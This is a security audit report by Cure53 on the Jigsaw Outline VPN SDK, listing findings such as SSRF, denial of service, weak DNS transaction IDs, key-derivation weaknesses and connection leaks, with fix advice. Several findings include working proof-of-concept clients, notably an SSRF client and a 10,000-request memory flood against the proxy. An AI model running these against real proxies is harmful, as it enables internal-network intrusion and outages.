Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report Jigsaw Outline VPN SDK 01.-02.2024

Cure53, Dr.-Ing. M. Heiderich, Dr. M. Conde, Dr. A. Pirker, Dr. D. Bleichenbacher

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Outline enables anyone to access the free and open internet more safely by running their own VPN. Running your own VPN server through Outline makes accessing the internet safer and establishes a connection that is harder to block.”

From https://getoutline.org/

This report details the findings of a penetration test and source code audit conducted against the Jigsaw Outline SDK codebase and the Jigsaw Outline generated mobile library. The engagement was commissioned by Google Jigsaw in November 2023 and executed by Cure53 from late January to early February 2024.

Registered as *JIG-03,* the project marks the third security assessment conducted by Cure53 for Google Jigsaw. The actual tests took pla ce in weeks CW04 through CW06 of 2024. A total of twenty-four days were dedicated to achieving the anticipated coverage for this project. Furthermore, it should be noted that a team of four senior testers managed the project's preparation, execution, and finalization.

The work was divided into three distinct work packages (WPs):

- **WP1**: Crystal-box penetration tests & code audits against Outline SDK codebase
- **WP2**: Pentests & assessments of Outline generated mobile library.

Cure53 received full access to source code, documentation, and any other necessary resources to complete the testing, employing a white-box methodology throughout the engagement.

It is important to note that a third work package was initially planned to audit and fuzz the generated C library. However, WP3 was removed from scope upon request before the testing commenced.

The testing process proceeded without encountering any significant roadblocks. All preparations for the penetration test and source code audit were meticulously completed in January 2023 (CW03) to ensure a smooth start for Cure53.

To facilitate seamless communication throughout the engagement, a dedicated Slack channel was established and populated with relevant personnel from both Jigsaw and Cure53 teams. This communication channel proved highly effective, minimizing the need for additional inquiries due to the well-defined scope and clear understanding of deliverables. Cure53 maintained consistent communication by providing frequent status updates on the testing progress and identified findings. Live-reporting was not explicitly requested for this particular audit.

Cure53 achieved comprehensive coverage across the defined scope of work packages WP1-WP3, successfully identifying a total of twelve findings. Of these, two were classified as security vulnerabilities requiring immediate attention, while the remaining ten were categorized as general weaknesses with a lower potential for exploitation.

Despite a relatively high number of findings standing at twelve in total, the Outline SDK project exhibits a solid security posture on the whole. It is especially good to note that while two exploitable vulnerabilities were initially identified within a public proxy context (see JIG-03-006 and JIG-03-012), these issues do not apply to the SDK's intended usage. The remaining findings are primarily minor weaknesses or hardening recommendations. Swiftly addressing them would further enhance the SDK's security for the Jigsaw Outline complex.

The report will now describe the scope and setup of the test, as well as the material available for testing. After that, the report will list all findings in chronological order, first the discovered vulnerabilities and then the general weaknesses spotted during the test. Each finding is accompanied by a technical description, a PoC where possible, and mitigation or fix advice.

The report will then close with a conclusion in which Cure53 will elaborate on the general impressions gained throughout this *JIG-03* and share some words about the perceived security posture of the scope that encompassed the Jigsaw Outline SDK codebase and the Jigsaw Outline generated mobile library.

Scope

- **Penetration tests & code audits against Jigsaw Outline VPN SDK codebase**
    - **WP1**: Crystal-box pentests & code audits against Outline SDK codebase
        - **Sources:**
            - **URL:**
                - https://github.com/Jigsaw-Code/outline-sdk
            - **Commit:**
                - 794f7d63eae637ee1c9b698a208b7825b2b9901d
        - **Out-of-scope items:**
            - *x/examples/…*
    - **WP2**: Pentests & assessments of Outline generated mobile library
        - **Sources:**
            - https://github.com/Jigsaw-Code/outline-sdk/tree/main/x/mobileproxy
        - **Build instructions:**
            - https://github.com/Jigsaw-Code/outline-sdk/blob/main/x/mobileproxy/README.md
            - https://github.com/Jigsaw-Code/outline-sdk/discussions/67
        - **Documentation:**
            - https://github.com/Jigsaw-Code/outline-sdk
    - **Test-supporting material was shared with Cure53**
    - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, each ticket has been given a unique identifier (e.g., *JIG-03-001*) to facilitate any future follow-up correspondence.

JIG-03-006 WP1/2: SSRF into internal network through proxy handlers *(Info)*

***Note:** After discussions with the customer, it was decided to downgrade the impact of this issue from Medium to Info. It became apparent that this issue only applies if the SDK gets used as a public proxy.*

Dynamic testing of the Outline SDK revealed that the *httpproxy* package, used by the *mobileproxy* package, is vulnerable to SSRF. This takes effect in the internal network the proxy is running in, where the *forward* and *connect* handlers both fail to validate if the target URL of the request corresponds to an internal endpoint. As a result, an attacker could reach internal endpoints running either on the host of the proxy itself or within the local network of the proxy.

It must be noted that the proxy supports all kinds of HTTP methods. Furthermore, the proxy provides the responses of such requests to the internal network without applying any filtering, as would be expected of a proxy software. Because very often services in internal networks are less protected due to the security perimeter assumption of an internal network, this could pose an immediate security threat to the internal services of the network the proxy is part of.

Steps to reproduce:

1. Start the *http2transport* application from the repository by running the command shown below in the *x/examples/http2transport* folder. The provided *localAddr* parameter must be replaced with the IP address of the proxy-host.

   Command to start the proxy on proxy-host:
   ```
   $ go run . -localAddr 192.168.178.21:1080
   2024/02/06 15:17:40 Proxy listening on 192.168.178.21:1080
   ```

2. Create a NodeJS application running on the same host as the proxy. An example is provided in the code excerpt below.

   NodeJS app running on proxy-host:
   ```
   const express = require('express')
   const app = express()
   ```

```
const port = 3000

app.use(express.json())

app.get('/getme', (req, res) => {
  console.log('New GET request received')
  res.send('Hello!')
})

app.post('/postme', (req, res) => {
  console.log('New POST request received')
  res.json({ requestBody: req.body })
})

app.listen(port, () => {
  console.log(`App listening on port ${port}`)
})
```

The app exposes two endpoints, namely the *GET /getme* and *POST /postme*. The former returns a constant message, whereas the latter reflects the provided JSON payload.

3. On another machine, run the Go application shown below.

Remote client:
```
package main
import (
   "fmt"
   "net/http"
   "io"
   "bytes"
   "net/url"
)

func main() {
   url_i := url.URL{}
   url_proxy, _ := url_i.Parse("http://192.168.178.21:1080")
   client := &http.Client{Transport: &http.Transport{Proxy:
http.ProxyURL(url_proxy)}}

   posturl := "http://127.0.0.1:3000/postme";
   body := []byte(`{
       "title": "Post title",
       "body": "Post description",
       "userId": 1
   }`)
```

```
	r, _ := http.NewRequest("POST", posturl, bytes.NewBuffer(body))
	r.Header.Add("Content-Type", "application/json")
	resp, _ := client.Do(r)
	b, _ := io.ReadAll(resp.Body)
	fmt.Println(string(b))

	resp, _ = client.Get("http://127.0.0.1:3000/getme")
	b, _ = io.ReadAll(resp.Body)
	fmt.Println(string(b))
}
```

The application sets the proxy address for all requests to the *localAddr* parameter from *Step 1*. Further, the application sends a *GET* request to *http://127.0.0.1:3000/getme* and a *POST* request to *http://127.0.0.1:3000/postme*. It writes both responses to the output.
It must be noted that the *localhost* addresses will be executed relative to the proxy-host executing the *http2transport* application. The output from the application demonstrates the success of the SSRF.

Output:

```
go run main.go
{"requestBody":{"title":"Post title","body":"Post 
description","userId":1}}
Hello!
```

The code excerpt below shows that the *proxyHandler* fails to check the host of the proxied request for internal network addresses.

Affected file:
outline-sdk/x/httpproxy/proxy_handler.go

Affected code:

```
func (h *proxyHandler) ServeHTTP(proxyResp http.ResponseWriter, proxyReq 
*http.Request) {
	// TODO(fortuna): For public services (not local), we need 
authentication and drain on failures to avoid fingerprinting.

	if proxyReq.Method == http.MethodConnect {
		h.connectHandler.ServeHTTP(proxyResp, proxyReq)
		return
	}
	if proxyReq.URL.Host != "" {
		h.forwardHandler.ServeHTTP(proxyResp, proxyReq)
		return
	}
	http.Error(proxyResp, "Not Found", http.StatusNotFound)
}
```

To mitigate this issue, Cure53 recommends implementing a filtering approach to the provided proxy URLs on dialing outbound TCP connections. The validation logic for dialing should filter out all local and reserved IP addresses and hostnames prior to connecting and forwarding requests. This would underpin a better prevention of DNS rebind attacks.

JIG-03-012 WP1/2: Large concurrent payloads fostering DoS on proxy *(Info)*

***Note:** After discussions with the customer, it was decided to downgrade the impact of this issue from Low to Info. It became apparent that this issue only applies if the SDK gets used as a public proxy.*

The proxy handler, as used by the *mobileproxy* package, receives incoming HTTP requests. Depending on the HTTP method, it either forwards the request to the *connect_handler.go* or *forward_handler.go* file.

It was found that the HTTP handler of the *forward_handler.go* file, as well as the applications hosting the handlers, fail to impose a size restriction on the provided payloads, thereby permitting payloads of up to 10MB. Together with the missing default read timeouts documented in issue JIG-03-007, this may result in Denial-of-Service situations.

An attacker could send *POST* requests through the proxy to an outbound server under the attacker's control. The attacker's *POST* requests contain large payloads, and the HTTP handler of the attacker's outbound server for such *POST* requests waits several minutes before providing a response. When the attacker floods the proxy with requests, the proxy attempts to get the responses. This process consumes a considerable amount of memory. In the worst case, the proxy runs out of memory, resulting in a shutdown of the entire proxy application.

To reproduce the issue, the *http2transport* application and a NodeJS app can be used, similarly to what has been shown for JIG-03-007. The NodeJs app, however, was modified slightly, namely in regard to removal of the the *app.use(express.json())* statement, as well as both the */postme* and */getme* handlers sleeping for 6000 seconds. The remote client application can be consulted next.

Remote client:
```
package main
import (
   "fmt"
   "net/http"
   "io"
   "bytes"
   "net/url"
   "os"
   "time"
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
)

func main() {

   url_i := url.URL{}
   url_proxy, _ := url_i.Parse("http://192.168.178.21:1080")
   client := &http.Client{Transport: &http.Transport{Proxy:
http.ProxyURL(url_proxy)}, Timeout: 300*time.Second}

   byte_payload, _ := os.ReadFile("string10mb.txt")
   string_payload := string(byte_payload)

   body_template := `{
      "title": "Post title",
      "body": "%s",
      "userId": 1
   }`
   body_str := fmt.Sprintf(body_template, string_payload)
   posturl := "http://127.0.0.1:3007/postme";
   body := []byte(body_str)

   for i := 0; i<10000; i++ {
      go func() {
         r, _ := http.NewRequest("POST", posturl, bytes.NewBuffer(body))
         r.Header.Add("Content-Type", "application/json")
         resp, _ := client.Do(r)
         b, _ := io.ReadAll(resp.Body)
         fmt.Println(string(b))
      }()
   }

   respGet, _ := client.Get("http://127.0.0.1:3007/getme")
   bGet, _ := io.ReadAll(respGet.Body)

   fmt.Println(string(bGet))
}
```

Running the NodeJS application on several ports simultaneously on the proxy-host while running the remote client above multiple times against those target ports reveals a tremendous increase in memory consumed by the *http2transport* application. It must be observed that the remote client application runs into panic, however, this does not affect the memory consumption of the *http2transport* application. The team verified an increase from 3MB to roughly 820MB during an attack from a single host.

Cure53 advises limiting the size of payloads connected to proxy HTTP requests to a reasonable, ideally configurable size. If possible, it should also be considered limiting the parallel connections established to the proxy.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

JIG-03-001 WP1: Unbounded size of HTTP response may lead to DoS *(Info)*

While auditing the implementation of the DNS over HTTPS protocol (DoH for short) in the *dns* package, it was found that a request containing the DNS query is constructed and sent to the server. Upon a successfully read response, the DNS response is extracted and returned to the caller. While this is standard procedure, the size of the HTTP response received is not limited in any way and instead processed directly. As such, an attacker could craft an overly large HTTP response that might cause the application to consume all of the available memory, resulting in the DoS-type problems.

Affected file:
outline-sdk/dns/resolver.go

Affected code:
```
func NewHTTPSResolver(sd transport.StreamDialer, resolverAddr string, url
string) Resolver {
	resolverAddr = ensurePort(resolverAddr, "443")
	dialContext := func(ctx context.Context, network, addr string)
(net.Conn, error) {
		[...]
	}
	httpClient := http.Client{
		Transport: &http.Transport{
			DialContext:           dialContext,
			ForceAttemptHTTP2:     true,
			TLSHandshakeTimeout:   10 * time.Second,
			ResponseHeaderTimeout: 20 * time.Second,
		},
	}
	return FuncResolver(func(ctx context.Context, q dnsmessage.Question)
(*dnsmessage.Message, error) {
		buf, err := appendRequest(0, q, make([]byte, 0, 512))
		[...]
		httpReq, err := http.NewRequestWithContext(ctx, "POST", url,
bytes.NewBuffer(buf))
		httpResp, err := httpClient.Do(httpReq)
		[...]
		response, err := io.ReadAll(httpResp.Body)
		[...]
	})
}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

In addition, the very same issue was identified in the *report* package of the *outline-sdk* repository. This package supports a *RemoteCollector* which sends a report to a remote location using a *POST* request. Here it was spotted that the *RemoteCollector* reads the response of such a request using the *io.ReadAll* function. Just as above, an attacker who controls the responses to such requests might cause the application to consume all of the available memory, resulting in a Denial-of-Service.

Affected file:
outline-sdk/x/report/report.go

Affected code:
```
func (c *RemoteCollector) sendReport(ctx context.Context, jsonData []byte)
error {
	[...]
	resp, err := c.HttpClient.Do(req.WithContext(ctx))
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	_, err = io.ReadAll(resp.Body)
	if err != nil {
		return err
	}
	[...]
}
```

To mitigate this issue, Cure53 recommends limiting the number of bytes to be read from the HTTP response. This can be accomplished by using *io.LimitedReader()* instead of *io.ReadAll()*.

JIG-03-002 WP1: Predictable *txid* can lead to forged DNS responses (*Medium*)

While auditing the *dns* package in the *outline-sdk* repository, potentially problematic behaviors were found in the functions that construct the queries sent to a DNS server, both over a *datagram* and *stream* protocol. These create a random identifier that allows the client-side and DNS server to correlate queries and responses. However, the query identifier (also known as the transaction ID, or TXID for short) is created using the *math/rand* package.

The package in question uses a Lagged Fibonacci Generator (LFG) as its pseudo-random generator to generate TXIDs, which is more effective than a standard linear congruential generator. However, this approach is unsuitable for security-sensitive applications or cryptographic purposes[1], as the output of these PRNG can be predicted based on several previously generated TXIDs.

[1] https://medium.com/@vulbusters/exploring-gos-math-rand-b4ef0e841591

Note that using a predictable TXID might aid attackers in crafting a malicious DNS response that would be accepted by the application. In particular, attackers could observe the client's traffic for a certain amount of time (or obtain access to the DNS request IDs via alternative means) and predict the subsequent outputs of the PRNG. Thus, the adversary in question could craft forged DNS responses (using the predicted TXID and frequently-queried hostnames) with an increased likelihood of being accepted with respect to a standard response-spoofing attack, whereby the request ID is fully random.

Note that a CVE[2] is assigned to a similar issue, though this applies to DNS resolvers in contrast to the use case outlined in this ticket (as Outline's SDK is client-side). Besides, it must be emphasized that the exploitation scenario of this issue is quite unlikely considering that the attacker would need to hold MitM capabilities for some time. Moreover, even if the attack could be successfully mounted, it would not persist across restarts of the machine wherein the SDK is running. As such, the issue was reported as miscellaneous only.

Affected file:
outline-sdk/dns/resolver.go

Affected code:
```
import (
	[...]
	"math/rand"
	[...]
)

[...]

func queryDatagram(conn io.ReadWriter, q dnsmessage.Question)
(*dnsmessage.Message, error) {
	id := uint16(rand.Uint32())
	buf, err := appendRequest(id, q, make([]byte, 0, maxUDPMessageSize))
	if err != nil {
		return nil, &nestedError{ErrBadRequest, fmt.Errorf("append
request failed: %w", err)}
	}
	[...]
}

[...]

func queryStream(conn io.ReadWriter, q dnsmessage.Question)
(*dnsmessage.Message, error) {
	id := uint16(rand.Uint32())
	buf, err := appendRequest(id, q, make([]byte, 2, 514))
```

[2] https://msrc.microsoft.com/blog/2008/04/ms08-020-how-predictable-is-the-dns-transaction-id/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
        if err != nil {
                return nil, &nestedError{ErrBadRequest, fmt.Errorf("append
request failed: %w", err)}
        }
        [...]
}
```

To mitigate this issue, Cure53 recommends generating an identifier for the DNS queries using a cryptographically secure pseudo-random number generator. This can guarantee unpredictability achievable by using the *crypto/rand* package.

JIG-03-003 WP1: Hardcoded primitives complicate cryptographic agility *(Info)*

While auditing the implementation of the Shadowsocks protocol, it was observed that all the supported encryption algorithms use the same key derivation method[3] to derive keys from a password. Moreover, the current key derivation method (HKDF-SHA1) is hardcoded.

As explained in JIG-03-004, the use of HKDF-SHA1 is not optimal; besides, it must be noted that SHA1-based KDFs are scheduled to be disallowed by 2030[4]. As such, ensuring that the implementation is flexible enough to eventually phase out legacy key derivation methods is recommended.

Currently, the implementation lacks any form of agility in regard to the key derivation function used by the supported ciphers. From a cryptographic perspective, it would be beneficial to support multiple secure KDFs (for example, HKDF-SHA256 or scrypt, which was already suggested in a previous audit; see *JIG-02-003* for reference). Since it remains unclear if the combination of a particular KDF together with one of the supported ciphers should be seen as weak, the implementation should be designed in such a way that the SDK can combine any of the supported KDFs with the offered encryption algorithms.

To mitigate this issue and ensure agility going forward, Cure53 recommends extending the definition of the encryption modes. Additional key derivation methods should be accommodated without losing backwards compatibility for the existing modes. In the current implementation each cipher (*CHACHA20IETFPOLY1305, AES256GCM, AES192GCM, AES128GCM*) unambiguously defines the algorithm parameters used for encryption and decryption, so the property could be extended to also include the key derivation method.

[3] https://github.com/shadowsocks/shadowsocks-org/issues/42
[4] https://csrc.nist.gov/csrc/media/Projects/crypto-[...]oject/documents/initial-comments/sp800-[...]-2023.pdf

JIG-03-004 WP1: HKDF-SHA1 reduces security of 256-bit encryption modes *(Info)*

During the evaluation of the cryptographic primitives used in the Shadowsocks protocol, it was observed that HKDF-SHA1 is being used to derive keys from a password. In particular, HKDF-SHA1 is used to derive 256-bit keys for the encryption schemes that require them (i.e., *AES-GCM-256* and *ChaCha20-Poly1305*). However, this choice of HKDF is not optimal, although it is clearly a limitation of the Shadowsocks protocol itself.

A HKDF consists of two steps, with the first step compressing the input to a pseudorandom key (PRK) and the second step expanding the PRK to the requested output size. The size of the PRK is equal to the digest size of the underlying hash function, in this case SHA1, making the pseudo-random key 160 bits.

Since the second step only depends on the pseudorandom key, the entropy of the result cannot be larger than the digest size of the hash function. As a consequence, theoretical security that can be achieved by using 256-bit encryption modes cannot be actually attained. Notably, this would be possible by using other HKDFs (e.g., HKDF-SHA256).

It should be noted that a potential reduction of 256-bit keys to 160 bits in no way poses practical threats, although 256-bit keys are sometimes used to claim readiness against quantum computers. As such, Cure53 recommends considering supporting an additional key derivation function as an alternative that allows to achieve security premise offered by 256-bit encryption modes. Finally, this issue further highlights the importance of ensuring cryptographic agility to ease future changes, as detailed in JIG-03-003.

JIG-03-005 WP1 - *False Positive*: Support for outdated TLS versions *(Medium)*

Note: *The issue was discussed with the customer, and it was confirmed that it corresponds to a false positive.*

While reviewing the *outline-sdk* repository, it was identified that the SDK supports the use of TLS fragmentation as a transport method. The corresponding transport implementation checks the *Client Hello* TLS packet sent by a client to a server. As part of the check, the transport method also checks the TLS version provided in the *Client Hello* packet. It was found that the TLS fragmentation transport method accepts the outdated TLSv1.0 and TLSv1.1 versions as part of the *Client Hello* TLS packet.

The excerpt below shows that the TLS versions 1.0 and 1.1 are considered valid TLS versions for the *Client Hello* packet in the *tlsfrag* package.

Affected file:
outline-sdk/transport/tlsfrag/tls.go

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code:
```
func isValidTLSVersion(ver tlsVersion) bool {
	return ver == versionTLS10 || ver == versionTLS11 || ver ==
versionTLS12 || ver == versionTLS13
}
```

Since it was not fully clear how the TLS connection establishment continues, Cure53 decided to file this observation within the report for the customer to follow up on. In fact, the versions TLSv1.0 and TLSv1.1 are considered outdated, so they should be phased out as soon as possible[5].

JIG-03-007 WP1/2: No default *read* timeouts for SDK connections *(Low)*

The Outline SDK provides an implementation to proxy HTTP requests to outbound services. For that purpose, the proxy receives an inbound HTTP request and forwards it to the outbound service. The SDK unfortunately fails to apply *read* deadlines for the outbound HTTP requests, thereby stalling the invoking of the Go thread until the response arrives.

An attacker who controls the outbound service of requests passing through the proxy could introduce delays to responses to the proxy on purpose. This in turn will cause the proxy to wait until it receives a response due to the missing *read* timeouts, essentially resulting in resource consumption and ultimate performance degradation or even Denial-of-Service situations for the clients of the proxy.

The issue can be reproduced by using the steps from JIG-03-006. Note that the NodeJS server application must be replaced with the code excerpt shown below.

NodeJS app running on proxy-host:
```
const express = require('express')
const {execSync} = require('child_process');
const app = express()
const port = 3000

app.use(express.json())

app.get('/getme', (req, res) => {
  console.log('New GET request received')

  execSync('sleep 240');

  res.send('Hello!')
})

app.post('/postme', (req, res) => {
  console.log('New POST request received')
```

[5] https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
  res.json({ requestBody: req.body })
})

app.listen(port, () => {
  console.log(`App listening on port ${port}`)
})
```

It can be seen that the *GET /getme* endpoint waits four minutes before providing a response to the caller. When issuing a request to the *GET /getme* endpoint through the proxy, the proxy also waits four minutes before responding with the result to the caller. The code excerpt below shows that the *NewForwardHandler* function fails to set the *Timeout* field on the *http.Client* instance.

Affected file:
outline-sdk/x/httpproxy/forward_handler.go

Affected code:
```
func NewForwardHandler(dialer transport.StreamDialer) http.Handler {
	dialContext := func(ctx context.Context, network, addr string)
(net.Conn, error) {
		if !strings.HasPrefix(network, "tcp") {
			return nil, fmt.Errorf("protocol not supported: %v",
network)
		}
		return dialer.DialStream(ctx, addr)
	}
	return &forwardHandler{http.Client{Transport: 
&http.Transport{DialContext: dialContext}}}
}
```

It was also discovered that the implementations of other transport means within the */transport* folder of the repository fail to validate the provided context for *read* timeouts, too. Some of them also do not enforce configurable timeouts with reasonable defaults, resulting in similar issues.

To mitigate the problems related to *read* timeouts, Cure53 advises adding *read* timeouts[6] for stream-based and packet-based connections, as well as other timeouts. This should extend, for example, to the timeout for HTTP outbound requests, configurable by the developer. Furthermore, the SDK deployment should follow a safe-default approach by applying appropriate default timeouts.

[6] https://pkg.go.dev/net#IPConn.SetReadDeadline

JIG-03-008 WP1: SDK connection leakages on some error conditions *(Info)*

***Fix note**: This issue has been mitigated by the Jigsaw team. The fix was verified by Cure53 and the problem no longer exists.*

A review of the *outline-sdk* repository revealed that the SDK leaked connections for some of the supported transport implementations. It was identified that the *PacketListenerDialer*, *tlsFragDialer* and *StreamDialer* for TLS support failed to close connections after establishing them despite the apparent errors.

If an attacker manages to provoke an error after establishing a connection, or the application using the SDK provides wrong parameters resulting in errors, the connections will remain open until the application using the SDK shuts down. Crucially, dangling connections consume memory and resources, potentially even resulting in Denial-of-Service situations. Thus, they should be eliminated.

The code excerpt below demonstrates that the *PacketListenerDialer* fails to close the connection when the address parameter cannot be parsed successfully.

Affected file #1:
outline-sdk/transport/packet.go

Affected code #1:
```
func (e PacketListenerDialer) DialPacket(ctx context.Context, address
string) (net.Conn, error) {
	packetConn, err := e.Listener.ListenPacket(ctx)
	if err != nil {
		return nil, fmt.Errorf("could not create PacketConn: %w", err)
	}
	netAddr, err := MakeNetAddr("udp", address)
	if err != nil {
		return nil, err
	}
	return &boundPacketConn{
		PacketConn: packetConn,
		remoteAddr: netAddr,
	}, nil
}
```

The code excerpt below shows that the *DialStream* function fails to close the connection *conn* when the *WrapConnFunc* function results in an error.

Affected file #2:
outline-sdk/transport/tlsfrag/stream_dialer.go

Affected code #2:
```
func (d *tlsFragDialer) DialStream(ctx context.Context, raddr string) (conn
transport.StreamConn, err error) {
	conn, err = d.dialer.DialStream(ctx, raddr)
	if err != nil {
		return
	}
	return WrapConnFunc(conn, d.frag)
}
[...]
func WrapConnFunc(base transport.StreamConn, frag FragFunc)
(transport.StreamConn, error) {
	w, err := newClientHelloFragWriter(base, frag)
	if err != nil {
		return nil, err
	}
	return transport.WrapConn(base, base, w), nil
}
```

The *DialStream* function of the *StreamDialer* within the *tls* package also fails to close the established connection for *innerConn* in case the *remoteAddr* parameter cannot be split successfully.

Affected file #3:
outline-sdk/transport/tls/stream_dialer.go

Affected code #3:
```
func (d *StreamDialer) DialStream(ctx context.Context, remoteAddr string)
(transport.StreamConn, error) {
	innerConn, err := d.dialer.DialStream(ctx, remoteAddr)
	if err != nil {
		return nil, err
	}
	host, _, err := net.SplitHostPort(remoteAddr)
	if err != nil {
		return nil, fmt.Errorf("invalid address: %w", err)
	}
	conn, err := WrapConn(ctx, innerConn, host, d.options...)
	if err != nil {
		innerConn.Close()
		return nil, err
	}
	return conn, nil
}
```

To mitigate, Cure53 advises closing connections in all error situations consistently, so as to prevent leakage of connections.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

JIG-03-009 WP1: Arbitrary Shadowsocks prefixes reduce salt entropy *(Low)*

The Outline SDK supports the use of Shadowsocks stream as a transport scheme. As part of the configuration of a Shadowsocks stream transport, the SDK offers the option to provide a *prefix* used for the generation of new salts. The SDK uses salts to derive new keys in the consequent communication from a master secret. It was found that the SDK copies the provided prefix to the beginning of the resulting salt buffer, and only fills the remaining parts of the fixed size salt buffer with random bytes.

Failing to provide a constraint on the length of salt prefixes can tremendously reduce the scope of entropy the SDK utilizes to derive new keys from a master secret. This results in an increased likelihood of collisions in the derived encryption keys, essentially harming confidentiality and integrity of the messages.

Even though this is somehow included as a warning in the documentation of the function, a defensive approach would be better in this realm, especially given the potentially fatal consequences of a salt prefix that is chosen inappropriately.

The code excerpt below demonstrates that the *prefixSaltGenerator* fails to impose any constraints on the length of the prefix. In the worst case scenario, the prefix could be used to override the entire salt, resulting in zero entropy.

Affected file:
outline-sdk/transport/shadowsocks/salt.go

Affected code:
```
func (g prefixSaltGenerator) GetSalt(salt []byte) error {
	n := copy(salt, g.prefix)
	if n != len(g.prefix) {
		return errors.New("prefix is too long")
	}
	_, err := rand.Read(salt[n:])
	return err
}
```

To mitigate this issue, Cure53 advises restricting the length of salt prefixes to a size that avoids salt collisions with a reasonable probability.

JIG-03-010 WP1: Usage of MD5 as KDF requires strict password validation *(Low)*

During a source code review of the *outline-sdk* repository, it was found that the Shadowsocks transport uses the MD5 hashing function as a key-derivation function to derive a master secret. The Shadowsocks implementation consequently uses the derived master secret together with the HKDF-SHA1 KDF and a random salt to generate unique session keys.

However, the implementation fails to validate the provided password with regard to its complexity and strength. As a caveat, it must be noted that a Shadowsocks server deployed via Outline Manager was confirmed to generate strong random passwords. Still, given that the Outline SDK works client-side, the server could be any and, so this is not necessarily the case.

Since the input to the MD5 function is a user-controlled password without any complexity checks or password validations in place, an attacker could attempt to guess passwords. Theoretically, they could try to recover the master secret utilized for the encryption of the Shadowsocks transport.

Affected file:
outline-sdk/transport/shadowsocks/cipher.go

Affected code:
```
func simpleEVPBytesToKey(data []byte, keyLen int) ([]byte, error) {
	var derived, di []byte
	h := md5.New()
	[...]
	return derived[:keyLen], nil
}
[...]
func NewEncryptionKey(cipherName string, secretText string)
(*EncryptionKey, error) {
	[...]
	key.secret, err = simpleEVPBytesToKey([]byte(secretText),
key.cipher.keySize)
	[...]
	return &key, nil
}
```

To mitigate this issue, Cure53 advises adding an implementation of password validations focused on complexity checks, as dictated by best practices[7].

[7] https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#imple[...]-controls

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

JIG-03-011 WP1/2: No default *connect* timeouts for SDK connections *(Low)*

Dynamically testing the HTTP proxy implemented in the *x/httpproxy* folder revealed that the SDK fails to apply a *connect* timeout to transport stream dialers. In fact, the SDK fails to enforce a default *connect* timeouts for dialers when they are created through the *config* package. This can be seen as utilized by the *mobileproxy* package, for example. Specifically, the transport streams created through the *config* package will attempt to dial outbound connections without having a timeout in place.

When attempting to connect to an unknown, yet valid host, as seen below in the reproduction steps, the stream dialer will be blocked until a connection is established. Blocking threads without a timeout consumes resources, resulting - in the worst case scenario - in Denial-of-Service situations.

Steps to reproduce:

1. Modify the *outline-sdk/x/httpproxy/connect_handler.go* as indicated in the code excerpt below.

   Modified *connect_handler.go*:
   ```
   func (h *connectHandler) ServeHTTP(proxyResp http.ResponseWriter,
   proxyReq *http.Request) {
   	[...]
   	fmt.Println("Dialing the requested host: ", proxyReq.Host)
   	targetConn, err := dialer.DialStream(proxyReq.Context(),
   proxyReq.Host)
   	fmt.Println("Dialing finished ...")
   	[...]
   }
   ```

   As demonstrated, the changes write outputs to the console when a new *connect* attempt to a remote host starts and finishes.

2. Start the *http2transport* example of the repository by running the following command in the *x/examples/http2transport* folder. The provided *localAddr* parameter must be replaced with the IP address of the proxy-host.

   Command to start the proxy on proxy-host:
   ```
   $ go run . -localAddr 192.168.178.21:1080
   2024/02/06 15:17:40 Proxy listening on 192.168.178.21:1080
   ```

3. Use the client application shown below to send a HTTP *connect* request to the proxy. The client uses a timeout of five minutes and provides a bogus connect URL *https://abc.com:3123/connect*. Also here, it must be ensured that the IP address of the *url_proxy* variable matches the *localAddr* parameter from the previous step.

Remote client:
```
package main
import (
    "fmt"
       "net/http"
       "io"
       "net/url"
       "time"
)

func main() {

    url_i := url.URL{}
       url_proxy, _ := url_i.Parse("http://192.168.178.21:1080")
       client := &http.Client{Transport: &http.Transport{Proxy:
http.ProxyURL(url_proxy)}, Timeout: 300 * time.Second}

       connecturl := "https://abc.com:3123/connect";
       c, _ := http.NewRequest("CONNECT", connecturl, nil)

       resp, _ := client.Do(c)
       bh := resp.Header
       for key, values := range bh {
              fmt.Println(key, ": ", values)
       }
       b, _ := io.ReadAll(resp.Body)
       fmt.Println(string(b))
}
```

4. Run the remote client application and observe the output of the *http2transport* application. The output for the first five minutes is shown below.

   Output for the first five minutes:
```
$ go run . -localAddr 192.168.178.21:1080
2024/02/09 10:34:09 Proxy listening on 192.168.178.21:1080
Dialing the requested host:  abc.com:3123
```

   After five minutes, the remote client application runs into a timeout, aborting the request. The output of the *http2transport* application changes, as highlighted below.

   Output after five minutes:
```
$ go run . -localAddr 192.168.178.21:1080
2024/02/09 10:34:09 Proxy listening on 192.168.178.21:1080
Dialing the requested host:  abc.com:3123
Dialing finished ...
```

